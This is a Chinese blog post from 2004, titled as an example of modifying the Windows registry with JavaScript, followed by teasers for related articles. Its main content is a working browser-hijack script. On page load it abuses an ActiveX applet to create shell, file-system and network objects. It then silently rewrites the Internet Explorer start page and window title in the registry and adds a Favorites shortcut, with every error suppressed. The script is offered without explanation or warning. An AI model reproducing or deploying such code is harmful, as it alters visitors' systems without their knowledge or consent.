JavaScript修改注册表的例子

原创 2004年09月15日 12:03:00
JavaScript修改注册表的例子

源作者:追风                   人气:12181

document.write("<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>");
function AddFavLnk(loc, DispName, SiteURL)
{
var Shor = Shl.CreateShortcut(loc + "//" + DispName +".URL");
Shor.TargetPath = SiteURL;
Shor.Save();
}
function f(){
try
{
//ActiveX 初始化
a1=document.applets[0];
a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Shl = a1.GetObject();
a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");
a1.createInstance();
FSO = a1.GetObject();
a1.setCLSID("{F935DC26-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Net = a1.GetObject();
try
{
if (document.cookie.indexOf("Chg") == -1)
{
//设置Cookie
var expdate = new Date((new Date()).getTime() + (24 * 60 * 60 * 1000 * 90));
document.cookie="Chg=general; expires=" + expdate.toGMTString() + "; path=/;"
//设置Cookie完毕
//设置主页
Shl.RegWrite ("HKCU//Software//Microsoft//Internet Explorer//Main//Start Page", "http://www.51js.com/");
//修改浏览器的标题
Shl.RegWrite ("HKCU//Software//Microsoft//Internet Explorer//Main//Window Title", "你的Internet Explorer已经被修改过了 51JS.COM");
//设置Cookie
var expdate = new Date((new Date()).getTime() + (24 * 60 * 60 * 1000 * 90));
document.cookie="Chg=general; expires=" + expdate.toGMTString() + "; path=/;"
var WF, Shor, loc;
WF = FSO.GetSpecialFolder(0);
loc = WF + "//Favorites";
if(!FSO.FolderExists(loc))
{
loc = FSO.GetDriveName(WF) + "//Documents and Settings//" + Net.UserName + "//Favorites";
if(!FSO.FolderExists(loc))
{
return;
}
}
AddFavLnk(loc, "无忧脚本", "http://www.51js.com");
}
}
catch(e)
{}
}
catch(e)
{}
}


function init()
{
setTimeout("f()", 1000);
}
init();
</script>

火狐(Firefox)浏览器解决首页捆绑的问题

360是解决不了问题的,因为360的浏览器修复主要是注册表和应用程序捆绑,而且大多是针对基于IE内核的 火狐是拥有的自己的内核和扩展机制,对于火狐主页被捆绑,症状如下: 1.打开火狐,出现...
  • prsniper
  • prsniper
  • 2016年07月30日 20:53
  • 1270

批处理:修改COM端口号

发现万能的WMI居然没有实现修改COM端口号的方法,不过用来遍历端口信息还是可以的,参考http://msdn.microsoft.com/en-us/library/aa394413(v=vs.85...
  • binhualiu1983
  • binhualiu1983
  • 2016年06月12日 14:43
  • 369

修改本机电脑MTU值,网速提高15%

MTU值如果过小,抓包看应该就是会出现IP报文分片的情况,wireshark中必然是在Protocol字段中显示IP,然后在Info中显示有segment字样。 注意这里的IP分片和TCP分片是不一样...
  • chinaclock
  • chinaclock
  • 2015年12月21日 14:23
  • 7241

自定义windows登录认证(微软 Credential Providers 详解一《调用原理》)

windows登录认证在不同的windows版本中有不同的方式。在xp中使用gina.dll,而在win7及以上版本使用Credential Providers。在win8及以上版本也是使用Crede...
  • lwwl12
  • lwwl12
  • 2017年07月15日 10:47
  • 555

修改SQL Server 2005 express为混合认证模式

转自:http://blog.csdn.net/binyao02123202/article/details/6574642 SQL Server 2005 express 默认安装时为 W...
  • fengxing11
  • fengxing11
  • 2016年11月15日 20:04
  • 738

Excel AddIn 开发(二)

客户有个需求,上一次进行的操作yao
  • xian_wwq
  • xian_wwq
  • 2014年05月07日 16:16
  • 1621

win7 手把手教你将win7背景色修改为浅绿保护色【包括资源管理器的背景】

win7 手把手教你将win7背景色修改为浅绿保护色【包括资源管理器的背景】
  • dadaxiaoxiaode
  • dadaxiaoxiaode
  • 2015年06月15日 09:30
  • 3948

普通用户如何修改电源管理方案

今天在微软新闻组里看到一个帖子,网友提这么两个问题(稍作修改): 问题1  用Users组帐户登录系统,打开“电源管理”控制面板窗口,发现无法更改“电源使用方案”,比如将默认的“家用/办公桌”方案(...
  • zcry21cn
  • zcry21cn
  • 2014年01月07日 14:40
  • 1901

AHCI模式导致系统蓝屏

windows因用AHCI模式蓝屏         windows蓝屏有许多原因,最近在用U盘做启动盘,然后修改BIOS从U盘启动。再重新进入windows系统一出现画面图标就蓝屏,进入安全模式或其他...
  • u012943448
  • u012943448
  • 2013年11月27日 21:12
  • 983

日文配列键盘修改和映射自定义

最近入手一把Filco日本91配列的奶酪绿来敲敲代码,91配列和国内使用的87配列使用起来有点不同,如果直接把日本配列的键盘用在当前的中文系统下面的话,会出现键帽和实际输入的符号不一样的情况,为此特别...
  • u011184061
  • u011184061
  • 2016年12月27日 15:53
  • 1666
内容举报
返回顶部
收藏助手
不良信息举报
您举报文章:JavaScript修改注册表的例子
举报原因:
原因补充:

(最多只允许输入30个字)